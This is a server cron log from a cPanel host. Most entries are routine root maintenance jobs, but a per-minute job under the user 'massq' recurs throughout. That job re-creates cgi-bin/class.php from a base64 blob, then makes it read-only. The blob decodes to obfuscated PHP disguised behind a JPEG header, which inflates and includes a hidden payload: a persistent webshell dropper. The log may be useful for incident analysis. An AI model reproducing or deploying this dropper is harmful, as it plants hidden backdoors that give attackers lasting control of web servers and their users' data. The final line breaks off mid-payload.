Aug 30 18:05:01 server CROND[11790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:05:01 server CROND[11792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:05:01 server CROND[11794]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:05:01 server CROND[11795]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:05:01 server CROND[11796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:05:01 server CROND[11793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:05:01 server CROND[11798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:05:01 server CROND[11797]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:06:01 server CROND[12650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:06:01 server CROND[12651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:06:01 server CROND[12652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:07:01 server CROND[13086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:07:01 server CROND[13087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:07:01 server CROND[13088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:08:01 server CROND[13477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:08:01 server CROND[13478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:08:01 server CROND[13479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:09:01 server CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:09:01 server CROND[13846]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 18:09:01 server CROND[13848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:09:01 server CROND[13847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:10:01 server CROND[14336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:10:01 server CROND[14338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:10:01 server CROND[14339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:10:01 server CROND[14342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:10:01 server CROND[14340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:10:01 server CROND[14346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:10:01 server CROND[14343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:10:01 server CROND[14341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:11:01 server CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:11:01 server CROND[15173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:11:01 server CROND[15174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:12:01 server CROND[15544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:12:01 server CROND[15546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:12:01 server CROND[15545]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:12:01 server CROND[15547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:13:01 server CROND[15913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:13:01 server CROND[15915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:13:01 server CROND[15914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:14:01 server CROND[16283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:14:01 server CROND[16284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:14:01 server CROND[16285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:15:01 server CROND[16705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:15:01 server CROND[16706]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:15:01 server CROND[16708]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 18:15:01 server CROND[16707]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 18:15:01 server CROND[16723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:15:01 server CROND[16721]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 30 18:15:01 server CROND[16720]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:15:01 server CROND[16729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:15:01 server CROND[16727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:15:01 server CROND[16724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:16:01 server CROND[17665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB